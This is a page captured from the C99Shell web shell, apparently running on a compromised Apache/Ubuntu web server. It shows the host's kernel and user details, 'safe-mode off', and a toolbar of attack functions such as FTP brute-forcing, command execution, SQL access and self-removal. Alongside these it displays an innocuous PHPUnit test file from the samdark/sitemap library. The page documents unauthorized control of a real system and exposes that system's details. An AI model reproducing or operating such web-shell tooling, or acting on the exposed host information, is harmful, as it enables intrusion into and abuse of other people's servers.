!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/samdark/sitemap/tests/   drwxr-xr-x
Free 13.26 GB of 57.97 GB (22.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     IndexTest.php (1.61 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace samdark\sitemap\tests;

use 
samdark\sitemap\Index;

class 
IndexTest extends \PHPUnit_Framework_TestCase
{
    protected function 
assertIsValidIndex($fileName)
    {
        
$xml = new \DOMDocument();
        
$xml->load($fileName);
        
$this->assertTrue($xml->schemaValidate(__DIR__ '/siteindex.xsd'));
    }

    public function 
testWritingFile()
    {
        
$fileName __DIR__ '/sitemap_index.xml';
        
$index = new Index($fileName);
        
$index->addSitemap('http://example.com/sitemap.xml');
        
$index->addSitemap('http://example.com/sitemap_2.xml'time());
        
$index->write();

        
$this->assertTrue(file_exists($fileName));
        
$this->assertIsValidIndex($fileName);
        
unlink($fileName);
    }

    public function 
testLocationValidation()
    {
        
$this->setExpectedException('InvalidArgumentException');

        
$fileName __DIR__ '/sitemap.xml';
        
$index = new Index($fileName);
        
$index->addSitemap('noturl');

        
unlink($fileName);
    }

    public function 
testWritingFileGzipped()
    {
        
$fileName __DIR__ '/sitemap_index.xml.gz';
        
$index = new Index($fileName);
        
$index->setUseGzip(true);
        
$index->addSitemap('http://example.com/sitemap.xml');
        
$index->addSitemap('http://example.com/sitemap_2.xml'time());
        
$index->write();

        
$this->assertTrue(file_exists($fileName));
        
$finfo = new \finfo(FILEINFO_MIME_TYPE);
        
$this->assertEquals('application/x-gzip'$finfo->file($fileName));
        
$this->assertIsValidIndex('compress.zlib://' $fileName);
        
unlink($fileName);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0108 ]--